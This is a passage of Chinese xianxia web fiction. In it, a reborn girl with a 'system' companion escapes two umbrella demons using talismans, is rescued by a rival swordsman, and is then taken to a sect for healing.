岳寄欢抱着小孩在坍塌的一大堆泥巴碎石里滚了几圈,滚出了神庙外,她顾不得身上擦破的疼痛,站起身拎着小孩后领从碎石堆里钻出来,拼了命地往东边跑。
东边的柏山小道是羡水城连接山上几大宗门的唯一路径,如果她能在路上遇到宗门下来的人,那还有得救,顺带能完成任务。
庙中那两只伞妖似是没想到躲在这里面的二人竟当着它们的面直接撞碎墙壁滚出去,不知是被岳寄欢这一举动吓到还是如何,伞妖们盯着洞口,一时间竟没有及时追上来。
暗道塌了,庙中连着暗道的的一大块墙壁也跟着塌下,墙壁破开一个阴森的大口,系统回头,颤颤巍巍地蹲在岳寄欢头上,告诉她:“宿主你是不是用力太猛,墙被你撞碎了一个巨大的口,像妖怪的嘴,还有——”
风中凌乱,系统瞄了眼被岳寄欢拎在手里的小孩:“宿主你真是臂力惊人。”
“再不拎着跑就真被妖怪那张嘴吃了。”岳寄欢揪着小孩,头上顶着鹌鹑一样的系统跑得飞快:“再说这神庙纯纯豆腐渣滓建的,比纸还薄,要是里面供着的那几位知道自己的庙建造如此垃圾,肯定把这庙,不对,这块地踏的寸草不生。”
系统:“......”
岳寄欢不搭理系统了,十三岁的身体毕竟精力有限,能少说话就少说话。
身后的恐惧如虫蛇之害般不断朝她爬来,她也不知道自己跑了多久,一路狂奔,等到跑到喉咙都溢出鲜甜的血腥味,岳寄欢才意识到,她的体力耗尽,快要跑不动了。
此时已经到了柏山小道前不远的树林里,再坚持一刻钟不到就能穿过树林到达小道。
奔跑间,一些如针一样的细长尖锐物猛然扎到岳寄欢脚边,深深插进泥土。
伞妖追上来了。
凡人之躯跑得再快再远,好像也只是徒劳。
岳寄欢被吓了一跳,转身跃进了一棵较为粗壮的树后,手里揪着的小孩随着她的动作滚到地上,二人摔倒在地。
面对近在咫尺的危险,倒在地上是一件很被动的事情,岳寄欢三两下起身把小孩拉起来背靠树干躲藏,她侧头瞄了眼刚刚那些插进泥土的硬物。
是枯草。
是岳寄欢藏身神庙中用来掩盖自己的枯草。
纤脆的枯草在妖的手里变幻地坚硬无比,岳寄欢非常绝望,她今晚有很大的几率被这样的枯草插个对穿,心脏还要被伞妖当作烤串一样串起来,想想就痛到令人面目狰狞。
真是出师未捷身先死。
“小兔子跑得挺快。”不远处,女妖笑得肆意,“今晚真幸运啊扶音,我们好久没见到这么有活力的心了。”
扶音说:“阿桑,要我替你取来吗?”
“我要自己抓来。”女妖阿桑盯着岳寄欢二人藏身的树干,一步步朝树干走近,“溜着猎物玩,这样才最有趣。”
树干
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后。
“系统。”岳寄欢喘着气,灵光一现,“商城能不能赊账?”
系统也不废话:“赊多少?”
岳寄欢咬咬牙:“十张雷爆符。”
“一百积分。”系统直言,“鉴于这是重生后第一次赊账就不要你利息了,任务成功的奖励刚好一百积分,自动抵扣。”
“是否要兑换?”
“是。”
岳寄欢手里闪出一沓朱砂黄纸。
小孩看见了,平静的面孔上露出几分惊讶。
岳寄欢一只手比了个嘘的手势:“想活命就安静,这是很常见的术法,别大惊小怪。”
小孩捂着嘴点点头。
说话间,察觉到伞妖的靠近,岳寄欢背对着没回头,她伸手将符咒捻起,挥手凭空往树干旁边一贴——
“啊——!”
起爆符真实伤害不大,主要是发出的声音很大,对付伞妖刚好。
凑近她们的女妖顿时发出一声凄厉的惨叫,雷爆符的巨响交杂着尖叫声,岳寄欢能从中听清对方往后跌落的细微脚步摩擦声,见伞妖被雷爆符巨大的声音伤到,她再次起身拎起小孩飞快往树林深处跑。
夜晚,这片树林起了薄薄一层白雾气,庆幸的是没有瘴气。
岳寄欢一边跑一边将几张符纸贴在错落的树上,她飞身在几棵树间来回蹿,手里的小孩被她晃动的身形弄的有些晕,弱弱说:“姐姐,我晕。”
岳寄欢贴完最后一棵树,把小孩放下给她指了个方向,叮嘱道:“那我不揪着你了,小姑娘,你跑得动就快往这边跑,遇到人了就赶快喊来救我,听到没?”
见小孩身体僵硬了一瞬,动作有些迟疑,岳寄欢凶巴巴把她往树林一推:“你不是习过武吗,别害怕,快点去!要不然我们都要被妖怪吃掉了!”
小孩闻言倒退了两步,转身朝岳寄欢给她指的方向跑去,她跑的很快,像只惊慌失措的小鸟,须臾间就消失在岳寄欢视野里。
见小孩跑了,岳寄欢松了口气,扭头看向刚刚她穿梭过的树林。
女妖阿桑即使被她刚刚那张符伤到,也带着男妖扶音极快追到她身后,身影一红一白,像两只柔滑的长绸缎。
落地,两妖一人之间不过隔着一块空地的距离。
阿桑笑吟吟:“小兔子,你要跑到哪里去?”
岳寄欢睁圆眼睛装可怜:“我不跑了,漂亮姐姐可不可以不要杀我?”
“我很漂亮吗?”阿桑还是那副笑脸,她一只手捂住自己的耳朵,“嘴真甜,要是你刚刚也这么说就好了。”
“可惜你非要往我身上扔些小玩意儿,解决完你我就去抓另一只小的,把你们的心肝儿串成一串,扒了你的皮做新衣裳。”
阿桑摊开另一只手,手心是揉作一团的黄色起爆符,她捻着变成纸团的符纸,朝岳寄欢面门直直弹过去。
岳寄欢假装害怕地一缩,她微微侧头,纸球刚好从她脸颊边刮过,一道温热的血随即顺着脸颊流下,流过她唇边。
“伞妖姐姐。”岳寄欢露出一个胆怯的表情,她垂着眼,“我错了,我刚刚跑的很累,跑不动了,现在我站在这儿,你要我的心就来拿吧。”
阿桑性子急得多,属于空有一张脸,只点了武力的那种。见岳寄欢服软,她笑着就要上前,一身嫣红散纱裙在夜色流风中翻飞,手中画了粉樱落花的纸伞随动作飞舞旋转,岳寄欢站在原地,静静看着对方朝自己袭来。
生死攸关之际,扶音出伞挡住了阿桑。
阿桑不高兴道:“扶音,你这会儿装什么怜香惜玉?”
扶音淡淡看了眼岳寄欢:“普通小孩怎会知晓你我二人是伞妖,反应快还会用符,符阵相依,阿桑,前方怕是早已被她画了法阵,莫要中计。”
阿桑一愣,收了伞落回原地,望向岳寄欢:“小小年纪如此有心思,还真是颗七窍玲珑心。”
岳寄欢见对方看出来了,也懒得装,面上那抹惧意逐渐消散,凉声道:“多谢夸奖,我算不上什么高明的手段,只是你蠢。”
“你——”阿桑被岳寄欢骂地一呛,扶音赶忙扶住她,岳寄欢见阿桑急,歪了歪头:“伞妖哥哥倒是比你聪明些,知道我在此布了阵,给你们下了计。”
“不过,”她露出一个天真无邪的笑,牙齿细白,“我布的可不是法阵,只是用符咒做了个简单的符圈,就在你们脚下,两只蠢妖。”
“你们要我的心,而我要的,是你们的妖丹。”
“雷爆符,破!”
4. 眼泪
岳寄欢怒喝一声,刚才被她贴在树上的雷爆符瞬间爆开,树间的空地登时烟雾朦胧,火星一片,空气中是接连不断的鸣炸声,妖怪的声音尖锐而响亮。
两只伞妖退避不及,在起爆符炸开的嘹亮声响中发出痛苦的叫声,透过迷雾,岳寄欢甚至可以看清它们的眼睛和耳朵流下大条大条的血痕。
伞妖的感知被破坏了。
趁现在有逃跑的时间,岳寄欢不敢耽搁,她扭头就往树林深处跑。
前方愈发明亮,树林出口好像近在咫尺。
不过百米距离。
系统很激动:“宿主跑快点跑快点!检测到宗门已经来人,任务马上就能完成了。”
到底是谁协助谁杀了伞妖?
她有点痛苦地想。
岳寄欢飞快地穿梭在密林间,她费劲地喘着气:“小孩呢?”
系统没反应过来:“什么小孩?”
“还...还能有什么小孩。”岳寄欢越跑越累,有气无力:“那小姑娘,救兵。”
系统哦了一声:“她没事,她遇到谢忧他们了。”
“谁?”岳寄欢的声音在风中显得格外嘶哑。
“这你不认识?谢忧,谢忧啊。”
岳寄欢没来得及回答,小腿突然传来一阵钻心的疼痛,力气乍然如水般从身体中哗啦啦流走。
她痛呼一声翻滚在地。
小腿处,坚硬无比的枯草此刻正深深扎入血肉中,枯草针扎穿了岳寄欢的腿,鲜血从伤口处汩汩流出,浸湿了腿部的布料。
得,这下真的要变成烤串了。
岳寄欢挣扎了几下,勉强从地上支棱起半边身子,低头大口大口喘着粗气,颤抖的指尖一点点攀上身侧粗糙的树干,想要试图借力站起,她的手在树干上借力摩擦了几下也没成功,倒是掌心又被粗糙的树皮表面蹭出了几道骇人的血痕。
一双绣了落花的珍珠红鞋遥遥停在岳寄欢面前。
瞥见面前这双鞋,岳寄欢心如死灰,头也不抬。
十张雷爆符白换。
刚刚自己还这么傲,嘲讽阿桑和扶音蠢,结果现在马上就要被这两只蠢妖弄死了。
她有点后悔,人就不应该半场开始庆祝。
阿桑见岳寄欢这副不搭理人的样子,怒极反笑,她慢慢弯下身子,伸手掐起岳寄欢下巴,强迫后者看向自己。
“我还漂亮吗?”女妖指了指自己,她那张原本艳丽柔媚的脸此刻布满了半凝固的血痕,七窍流血,耳朵和脸皮上的血块挂在皮肤上,使她姣好的面容显得格外可怖阴森。
扶音站在阿桑身后,眼睛空洞,脸上同样一片血红。
伞妖的感知虽然被岳寄欢破坏了,但同时,岳寄欢也成功惹怒了伞妖。
且这两妖的感知也并未被她完全封住。
被追上来是情理之中的事情。
横竖都是一死,岳寄欢没给她面子,冷笑着开口:“丑。”
系统在旁边哭天喊地:“你快别惹她了,哄着她点拖到宗门的人来。”
岳寄欢说完这句话,感觉下巴上的力度愈发大,阿桑的手很冰,她几乎感觉自己的下半张脸要被对方生生扯下,寒意浸透骨髓,又痛又凉。
女妖泛着幽光的眼里充斥着杀意,听见岳寄欢这么说,她放开了掐着岳寄欢下巴的手,红艳艳的指甲在岳寄欢脸上被刮破的位置蹭了一下,而后缓缓直起身子。
“我现在这么丑,是你造成的。”阿桑舔了舔甲尖上的血,手中再次变幻出纸伞,她唇角扬起,居高临下地望着面前的少女,“我讨厌别人看见我丑陋的样子,既然你看见了,那就先戳瞎你的眼睛再让你死,聪明过头的小姑娘。”
阿桑抬起手,将伞尖对准岳寄欢。
粉樱飞舞,裹挟着风与香气。
岳寄欢掌心撑着地,想要使劲翻身躲过阿桑的伞。
但伞远远比她现在毫无力气的身体行动得快。
伞尖旋转,直指岳寄欢双眼。
即将死亡的恐怖让她甚至忘记闭上眼睛,事到如今,胆子再大也无用,那种熟悉的死意蔓延身心,使得身体僵硬,四肢麻木。
整个人难以动弹,像是被活生生钉死在地上。
岳寄欢双眸睁得很大,眼睛不眨,呆滞在了原地。
伞尖已经占据了她的整片视野。
她毫无知觉,有一滴豆大的眼泪正从眼中滚落。
这滴温热的眼泪顺着她的眼眶落下,马上就要落到地上,掉到黑色的泥土深处。
眼泪折射出一点微弱的月光与血红。
“铮——!”
只是,随着一声短促的急鸣,眼泪似乎没有落进泥土。
而是落到了一柄闪着银光,剑身在稀薄月光下如水波流转的剑上。
这把剑的剑尖恰如其分地抵住了飞旋而来的纸伞,剑身擦着岳寄欢脖颈而过,如果从拿剑的人那侧看,倒像是要杀了半伏在地上的少女。
泛着银光的剑斜在岳寄欢眼前,她被这声剑鸣拉扯回了现实,身体的僵硬逐渐褪去,刚刚那滴眼泪的温热感也尚且存留在脸颊上。
她赶忙伸手将眼角的泪拭去,目光清明,看清楚了这把救下她的剑。
岳寄欢愣住了。
断水剑。
是谢忧。
这个名字在她的脑海里迅速同往事串联,岳寄欢愣神之际,断水剑已然发力挑开了抵住的伞尖,阿桑被这充沛的剑身灵气扫开,整个人直直向后砸去,扶音飞身揽住重伤的阿桑,将她护在身后,化出白伞便朝岳寄欢这边而来。
显然是一副无所畏惧,不死不休的模样。
岳寄欢身后的身影随剑而动,飞身冲着两妖而去,剑刃在夜色中拖曳出耀眼的寒光,四周顷刻回荡开一阵剑气。
风过林动,剑气蕴意的力量过大,岳寄欢抬手遮住脸,耳边响起剑刃划过的声音,刀光剑影间,紧接而来的是扶音和阿桑疯魔般的尖叫与低吼,片刻后,树林安静了。
她缓缓放下手。
刚刚还拿伞要杀她的两只妖怪已经浑身是血地倒在地上,它们身上美丽的皮囊剥落,露出里面腥臭黑漆的一团肉——明明刚才还是两只随意拿捏别人生死的妖。
伞妖有情无心,且只对同类间存有感情,结果这一来,竟是双双死在了谢忧冷漠的剑下。
对于谢忧而言,这妖杀的轻而易举,就是个随手的事。
看着这两团东西,岳寄欢扫了眼,喉头一酸。
系统直接呕了一声:“宿主,还好得救了。”
岳寄欢无视系统,她缓和了一会儿,漂亮的眼珠转了一圈,偷偷瞥了眼站在她不远处的少年。
这人背对着她,利索地将剑从死去的伞妖身上拔出,剑上沾染了几滴殷红的血,顺着剑尖往下滴。
不知是想到了什么,岳寄欢一时间有些愣神。
乌云散去,月光似水,轻柔而温和地披落到面前长身玉立的少年肩头。
发觉背后那道存在感很强的视线,谢忧微微偏头,看向还趴在地上的人。
岳寄欢刚才瞄一眼就垂头,她没注意对方的视线也落到她身上。自己的心思从求生中流窜而出,现在飘得不知所踪,毫无依据地飘到了少年身上。
准确一点,是对方那张在岳寄欢脑海中陌生又熟悉的脸。
不得不说,谢忧这人做事漂亮,人长得也好看。
在岳寄欢的记忆里,十五岁的谢忧同长大后相差不大,只是少年时爱碧色绸带束发,一身青衣,身姿挺拔。
看着倒挺人模狗样的。
谢忧这样的气质和脸,第一眼看上去很容易误判为是那种高岭之花的类型,清冷孤离,用岳寄欢以往看的那些个话本子来说,妥妥的冰山美人,薄情又冷淡。
但也只是看着像。
如果岳寄欢不认识他的话,很大概率会被他那张脸迷惑。
她觉得,评价谢忧的脸,不论他十五岁还是多少岁,增添再多词藻都无用。
漂亮两个字就足够了。
是那种独属于男子的英俊漂亮,很俊俏,少年气又足。
若是个女子,那才当真是十足的祸水。
只可惜这厮是蓝颜祸害,性子也不是什么高岭之花冰山美人那挂的。
是狗。
狗贼。
持靓行凶的狗贼。
岳寄欢气鼓,想着想着就下意识又去瞧谢忧。
不巧,她刚好撞上这祸水兼狗贼对过来的视线。
岳寄欢:“......”好巧。
两人间沉寂了一秒,视线摩擦,少年挑起眉:“还在害怕吗?怎么不从地上起来。”
系统:?
岳寄欢:?
真的吗,真的能从地上起来吗?
系统悄悄凑到岳寄欢耳边:“我记得他那会儿不这样啊。”
岳寄欢抽了抽嘴角,心里那点子被英雄救美的旖旎一消而散:“我早说他这个人有问题,眼睛长在脸上的唯一作用是装饰。”
系统讪讪道:“你对他还是这么恨。”
岳寄欢扭过头,声音听不出情绪:“说得好像他不厌我一样。”
系统没说话,对于岳寄欢和谢忧之间的事情它知道的其实不多,它遇见岳寄欢时,对方已经到了与谢忧见面就开打的程度,无关别的,纯恨。
也不是没问过两人之间到底有何渊源仇恨,系统大概能知道根源是二
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人少年时期的事情,具体不清楚,它虽然是系统,但对这个世界的具体细节了解的也不多。
说起来,系统刚来到岳寄欢身边的时候其实非常好奇这件事的始末,只是每次一提,岳寄欢就让它滚。
这个世界的其他人大差不差也是这个待遇。
问一句滚一句,问多了,岳寄欢抄起剑烂命一条就是干。
时间一久,也就没人提了。
*
见少女还是趴在地上不动,谢忧这才注意到她那只受伤的腿。
谢忧:“......”
他咳了两声:“罢了,我扶你起来。”
谢忧收了剑,刚要向岳寄欢走过去,却听见不远处响起很稚嫩的一声:“姐姐!”
他遥遥望向声音的来源,是刚刚救下的小孩,小孩跑的很急,在凹凸不平的泥土地上踉跄了几步,深一脚浅一脚地扑到岳寄欢身边。
岳寄欢也听见小孩喊她了。
她有些费劲地转过头,小孩已经跑到她面前,一眼就看见她腿上的伤。
可能是这伤看起来实在是严重又吓人。
小孩有点想哭,声音哽咽:“对不起,我,我...”
她想说要是我跑的再快点就好了。
岳寄欢赶忙安慰她:“我没事,你怎么样?”
小孩摇摇头,嘴瘪起来,好像下一秒就要哭出声。
岳寄欢最招架不住小孩子哭,她不懂这孩子明明刚才还好好的,一个人也很勇敢的去找救兵,现在她们二人得救,小姑娘却要开始哭了。
她有点手足无措,慌忙中,岳寄欢求救般看了眼站在一旁看戏的谢忧。
系统惊讶地哦了一声:“宿主,你不要病急乱投医。”
岳寄欢生无可恋:“死马当活马医,现在恨他也无用。”
系统咂咂嘴:“你还真是...能屈能伸。”
幸好谢忧很精准地接收到了岳寄欢的求助信息,也可能是岳寄欢受伤的腿唤起了他的良知。
他三两步跨过来,低头看着小孩:“你姐姐受伤了,你先让一下,我把她扶起来。”
小孩站在原地不动,而是抬头和谢忧对视:“我来扶。”
谢忧啧了一声。
他没太搞清楚这孩子的脑回路,明明自己身高就这么点,又瘦又小跟豆芽菜似的,四肢瘦得和竹竿一样,怎么扶她姐姐一个十来岁的成长期姑娘。
也不怕折了腰。
一高一矮,两个人隔着岳寄欢站成对立面,形成一种很奇怪的对峙,甚至有种暗暗较劲的意味,但就是没人先把岳寄欢扶起来。
两个活爹。
不对,两个犟种。
岳寄欢已经痛得话都憋不出半句。
小孩一个小姑娘暂且不提,谢忧再小也已经十五岁,他和一看着不到十岁的小孩儿较个什么劲。
系统在旁边煽风点火:“宿主,他们根本不在意你的死活,他们就是单纯想较劲,可怕的胜负欲。”
岳寄欢呵了声,话锋一转:“他俩有病,我也没见你在意我的死活。”
“不对,你甚至还想弄死我。”她阴阳怪气,“是吧小系统?”
系统:“......”
系统老老实实闭了嘴,岳寄欢见状没再继续和它胡搅蛮缠,凡胎凡体,她腿现在很痛,非常痛。
见二人还在僵持,她深吸一口气,憋出几个字:“先救我,痛。”
小孩闻言这才挪开步子,谢忧倒也没和对方计较,他上前去扶岳寄欢,顺带问了小孩一句:“对了,宋师兄他们呢?”
听到宋师兄,岳寄欢眼皮轻轻抖了抖。
小孩答:“宋哥哥说城北还有妖怪,他送我到那边——”
小孩指指她刚刚来的方向:“那里,他说姐姐已经被你救下了,这里很安全,他把我放到那棵苹果树下就走了。”
谢忧抽空看了眼小孩刚刚跑来的方向,那里的确栽了小片苹果树,这个时节正是开花的时候。
他慢慢将岳寄欢搀起,见她腿上的伤虽然严重,但幸好无毒,不是很难处理。待会儿带人回了寻仙山上请人来治便好。
“能走吗?”谢忧轻声道。
岳寄欢恍惚了一刹,谢忧这般轻声细语,她上一次听到对方如此说话还是在上一世他们第一次见面,只不过谢忧不是对她说的,是对别人。
岳寄欢张了张嘴:“能,刚才多谢你,你放开我吧,我自己......”
话刚出口,她就重重往下跌了一跤,如果不是对方还扶着她,她怕是已经摔得四脚朝天,脸面全无,就差成为一只丢人的翻肚王八了。
系统苦口婆心:“宿主,不要勉强自己。”
5. 背你
勉强扯着少年站稳,岳寄欢嘴比铁硬:“其实我能自己走的,我只是跑累了,腿软。”
系统顺着她的话走:“我知道,但你还是让他扶一下,不然会摔的很难看。”
“不要让死对头看到你的笑话。”系统很严肃,“宿主,请牢记。”
岳寄欢一激灵,她想了想系统确实说的在理,虽然这辈子她和谢忧的恩怨还未开始,但上辈子的恩怨也是恩怨。
谢忧见这姑娘一脸犹豫不决,半晌,他撩起眼皮:“不用谢,举手之劳,况且很痛的话,我背你吧。”
他话音刚落,就见手里扶着的小姑娘一脸见了鬼的表情。
岳寄欢魂都要吓掉了:“你们这个时光逆转是不是哪里出了问题?”
人的性格也会随着改变吗?
系统晃得像拨浪鼓:“别泼我们脏水啊宿主,有没有可能他人其实...唉,还挺好的。”
“再说了,趁着这个机会,”系统出谋划策,乍有替岳寄欢出口恶气的模样,“你才应该把他当工具用,至少现在,你可以把他当作一个没有感情的代步工具,狠狠压榨。”
岳寄欢勉强听取了系统的意见,斟酌着语气回应谢忧:“可以吗?不过...”
“我想要一颗伞妖丹。”她眼睛亮亮的,看向地上那堆黑漆的腐肉,“这位...这位仙君,你能带我去取吗?”
谢忧低头盯着岳寄欢,黑而浓密的纤长睫毛在眼下投出一小片阴影,他眼睫微颤:“这么脏,你要来干什么?”
听见谢忧这么问,岳寄欢以为他不想答应,胡乱扯了个理由:“做纪念,你要是觉得不好,我自己去取也行。”
说罢,岳寄欢瘸着就想往伞妖那边走。
她想着自己不然爬过去,实在不行让小孩扶着也行,任务总归是要完成的,她死里逃生就是为了这颗妖丹。
不过岳寄欢没走成,谢忧扯住了她的衣袖,将她一把拉回身侧。
“行,我背你去拿。”他抬了抬眼。
少年半弯着腰凑近岳寄欢,眸子里带了点促狭的笑意:“你急什么,小姑娘。我今天好人做到底,你就是要月光做件衣裙,我也用剑给你斩一段。”
两人之间忽然靠的有些近,月光落下来,照出一道重叠的交影。
岳寄欢往后缩了缩,对上谢忧直直撞过来的眼神,她下意识躲闪开,脸上不太自然。
这厮生了双颇具风情的桃花眼,虽然平常看谁都深情,但冷脸时是一种截然相反的感觉,像一块行走的寒冰;笑起来却又很漂亮,眉眼间带了点痞气,活像当街调戏小姑娘的风流纨绔。
这两年还是十几岁的少年,身上难免带些孩子气,等到了身体完全抽条,五官长开的时候...
岳寄欢眉心一跳,谢忧的脸在脑海里闪了好几道,她才又记起来这狗贼上一世都是顶着这张脸和她打得你死我活。
心狠手辣,活脱脱一个笑面虎。
她在心里痛斥谢忧这人从小就爱搞这些调戏人的小手段,小小年纪就顶着这张脸为非作歹、沾花惹草、招蜂引蝶、胡作非为...
祸害,简直是修仙界最大的祸害!!!
谢忧不知道岳寄欢心里这点小九九。
他直起身子,扬起头对着小孩懒声喊:“扶好你姐姐,我背着她。”
谢忧说完就撩起衣摆要弯下身,他将剑递给岳寄欢,见岳寄欢愣着不接,他玩笑道:“怎么?这剑杀了妖你害怕?”
“没。”岳寄欢闻言也不矫情,她一手接过剑,一手去攀谢忧的脊背。
面前的少年背对着她微微弯身,身上的青衣绣了青鸾宫特有的神鸟纹样,腰间用束带系好,显出下腰流畅的线条,岳寄欢盯着看了两眼,继而伸手揽住少年平直的肩膀,好的那只腿微微发力一蹬,整个人趴伏到谢忧宽阔削薄的脊背上。
谢忧感受到身上的重量,背着岳寄欢朝地上那两滩颇为恶心的东西走去。
两只伞妖已经被谢忧杀得死了个透,它们沾了血的美丽皮囊脱离了恶心的本体,发黑泛红地挤压在一块,谢忧看着面前这两块不可名状之物,偏了偏头:“你确定要这个当纪念品?”
岳寄欢完成任务的心很急切:“是是是,我放我下来吧,我拿。”
“算了。”少年见岳寄欢王八吃秤砣一样铁了心要这妖丹,只得看着眼前这堆腐肉,微不可察地蹙眉:“你手够得到吗?我蹲下来,你伸手去拿。”
他很快补了一句:“拿完妖丹的手别碰我。”
岳寄欢:“......行。”
吃人嘴软拿人手短。
谢忧背着岳寄欢,双手托住她的腿,特意避开对方受伤的地方,他缓缓弯下身,整个人几乎呈蹲在地上的姿势。
见距离差不多,岳寄欢看准时机,放开了揽在谢忧肩上的一只手,而后迅速往下伸进伞妖体内,在里面搅和了一番。
谢忧闭了闭眼,他看得有些犯恶心。
背上这小姑娘看着也是瘦瘦小小一个,但挺能忍痛的,腿上受了这么重的伤也没哭,挺机灵,一个人能拉扯了伞妖这么久,还伤了对方。
虽然不知道是使了什么法子伤的,他总觉得哪里怪怪的。
不过小姑娘胆子蛮大。
大到能直接把手伸进两具刚死的妖怪尸体内去刨妖丹。
她还怪不嫌弃。
挺能干。
谢忧这般想着,却听见背上的人哈哈大笑个不停:“不枉我差点把性命栽进去,这妖丹总算被我找到了!”
这小姑娘疯了罢。
妖丹被取,妖身同伞化成一缕黑烟离去。
谢忧睁眼起身转头就走,动作一气呵成,岳寄欢还在拿着那枚闪着幽光的心形妖丹欣赏,系统在旁边扭来扭去:“恭喜宿主!贺喜宿主!第一次任务圆满成功!”
【羡水城任务完成进度:100%/100%
第一次任务奖励:一百积分(已抵扣),养颜丸×1
请宿主查收。】
空中展开一面浮光面板,任务完成的通知浮现在岳寄欢眼前,系统说:“宿主,养颜丸我已经收进商城空间了。”
岳寄欢摇头晃脑:“行。”
她喜滋滋看着手里来之不易的妖丹,忽地又想起什么,盯着谢忧后脑勺,语气哀愁:“你...你知不知道刚刚那些被妖怪杀掉的人怎么样了...”
她声音越来越低,几乎要听不见。
谢忧一愣:“会有人处理好的,别担心。”
岳寄欢嗯了声,刚才经历完的,一股巨大的情绪波动缓缓褪却,她感觉头昏沉起来,身体脱力,便也顾不得什么,迷迷糊糊趴在谢忧背脊上,一动不动。
谢忧背着岳寄欢往树林外走去,小孩紧紧抓住岳寄欢垂下来的衣角,跟在二人身后。
走了一刻钟不到,前方的视野开阔起来,四周的树林灌丛逐渐减少,直到完全见得到头顶高悬的月亮和面前弯弯绕绕的石阶,才是真正走出了树林,来到了岳寄欢刚刚做梦都想到达的柏山小道道口。
“仲玉!”
人未来声先到,听见耳熟的声音,刚刚还昏沉的岳寄欢下意识比谢忧先抬头。
有三两个模糊身影朝他们这边靠近。
眼前映入一道再熟悉不过的身形,岳寄欢混沌的脑子彻底清醒。
为首那个模样俊秀的年轻仙君,是她大师兄。
见到宋折镜,她想要张口喊“师兄”,又记起来自己现在十三岁,未拜入凌云宗。
岳寄欢话哽在喉咙里上不去下不来,这辈子,她和宋折镜还不认识,她不是宋折镜的师妹。
系统察觉岳寄欢情绪不对,赶忙哄她:“宿主,你没事吧?”
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岳寄欢很酸涩地应了句没事,前世的宋折镜待她很好,十三岁她刚入宗门就被宋折镜带在身边养着,吃穿住行,习书修法,一直到十八岁,整整五年,宋折镜算她半个师父。
宋折镜走到哪儿她跟到哪儿,她去哪里宋折镜都会陪她去,师尊玄意因为这件事还逗过他俩:“欢欢和折镜二人,怕是上辈子就作得亲兄妹。”
确实,在岳寄欢心里,宋折镜和她亲哥没两样。
她想,大概宋折镜也是这样想的。
所以当洛心棠出现后,宋折镜还很苦恼地来找岳寄欢:“师妹,遇到心仪的女孩子该怎么追?”
岳寄欢通过系统,早早得知谢忧的师妹洛心棠就是宋折镜喜欢的人,于是她很认真地同宋折镜讲:“师兄,抓住一个女孩子的心,就应对她好,呵护她,爱护她,不要怀疑她。”
不要怀疑她。
那时的岳寄欢还很天真地以为这样说就能避免她大师兄同洛心棠仙妖动乱后,那个传闻中毁了一切的激烈争吵。
但是岳寄欢忘记了,这是剧情人设通通崩坏的世界,宋洛二人大吵一架的缘由是她师父玄意死掉了。
宋折镜朝夕之间由匡扶正义的凌云宗首席大弟子,变成了一个为一己私爱的恋爱脑。
他甚至对岳寄欢的态度也转变了。
岳寄欢后来去找宋折镜试图挽救一切的时候,宋折镜神情冷恹:“师妹,这是我自己的选择。”
然后毫不留情地将岳寄欢赶出门外。
岳寄欢那时火气上头,想破了门进去扇他两耳光。
这个冲动的决定最终被系统劝住了。
系统说:“宿主,一切都晚了,他道心已乱。”
自此之后,她直到死,也再没见过宋折镜。
几人已经走到他们面前。
“这孩子怎么样?”宋折镜看了眼谢忧背上的岳寄欢,顺带提了嘴羡水城杀妖一事,“城中所有作乱的妖都已斩杀,遇害的几家也已派人去安抚,我待会儿需先回宗门禀报。”
谢忧应声:“好,劳烦宋师兄了。”
宋折镜的声音愈发清晰,岳寄欢从回忆里缓缓抽离,真实生动的、十八岁的宋折镜在眼前明了。
片刻,她听见谢忧又说:“她腿伤得重,要先把她带回山上,将腿上的利器拔出来。”
宋折镜点头,偏头和身旁着鹅黄衣裙的女孩说了几句话。
浑身滚烫,岳寄欢眼前模糊又清晰,她看见这女孩闻言朝她走过来,然后——
然后伸手拔掉了她腿上的枯草针。
她痛地低叫一声,谢忧也被这举动惊到了,眉头紧锁:“你就这么拔出来?”
女孩低着头往岳寄欢腿上撒药粉,音调拔高,有些气鼓鼓的:“伤口已经发黑,再不拔她就这只腿就别想要了,你看清我的脸再质疑我好吗,谢少宫主。”
谢忧:“......啧。”
这些姑娘家家的怎么性子都这么爆。
岳寄欢趴在谢忧背上,几近要痛到眼里溢出生理性泪水,她发觉自己身上越来越滚烫,脸也是,脑子干痛。
不过听见这女孩子张扬的语调,岳寄欢总觉得怎么听怎么熟悉,对方听着年龄不是很大,应该和现在的她差不多。
想看见这人脸的好奇战胜了痛楚。
岳寄欢用力睁眼,鹅黄的身影在眼中变得迷幻,在又被撒了一把不知道是什么药粉之后,腿上传来刺心锥骨的痛刺激她强行清晰了视线。
面前的少女一身鹅黄彩蝶戏花罗裙,黑色的头发用黄丝绸各挽了两个髻,上面点缀了几只黄蝶绿珠,朱唇杏眼,眉眼间带着几分活泼与傲气。
岳寄欢在大脑中搜寻了一圈,终于在痛得脑子发昏前,对上了这身熟悉的装扮。
黄衣黄裙,骄气十足。
正是遥香谷谷主次女,段无瑕。
6. 无瑕与裳裳
腿上的剧痛随着药粉的渗入渐渐消散,段无瑕不知从哪里摸出一条白布替岳寄欢包扎好,她踮起脚尖,抬手往谢忧背上的人嘴里塞了颗泛着暗棕色的丹丸。
丹丸入口即化,带着一股甘苦微凉的气息,融化在岳寄欢口中。
岳寄欢只觉得浑身的滚烫随着丹药的作用有所缓和,段无瑕见她脸色通红,伸出手贴了贴她的额头。
“发烧了,她还真是能忍,你把人背好。”段无瑕身体微微前倾,掌心向上,她的手心汇聚起一些微弱的淡红色光芒,凝神一聚间,她双手翻飞施了法,这些光点如有生命般朝岳寄欢眉心而去。
片刻后,她松了口气:“暂且没事了,我们快些回山上吧,不然她现在这个样子会烧傻的。”
“姐姐她...”听见“烧傻”二字,小孩很担心岳寄欢,她一只手抓着岳寄欢的衣角,另一只手无措捏紧成拳又放开。
宋折镜上前摸了摸她的头发,见这小孩身上又脏又乱,头发枯黄,整个人瘦得不成样子,他眼中泛起几分怜悯:“你姐姐会没事的,你先和我们回山上,好吗?”
小孩咬着唇不吭声,只是紧紧抓着岳寄欢衣角。
宋折镜见她这样,也不再说什么。
这孩子会跟着岳寄欢随他们上山的。
...
岳寄欢醒来时还迷迷糊糊的。
她睁开眼,映入眼帘的是大片大片叠纱重帐,身下传来软而温和的触觉,自己已经被人换了身干净的衣裙,身上盖了一层薄薄的锦被。
岳寄欢双手撑着身下的床坐起身,环视房间,四周很安静,木窗的缝隙中渗入几丝光亮,空气中流动着淡淡的药香,闻起来微苦。
她被送到遥香谷了。
系统抹了抹不存在的眼泪,哭兮兮:“宿主,我还以为你要死了。”
岳寄欢头还有些晕,听到系统的声音,嘴比脑子快:“说人话,你才要死了。”
系统:“......”讨厌。
它再也不在岳寄欢面前装好心了。
这人只会怼回来。
不解风情。
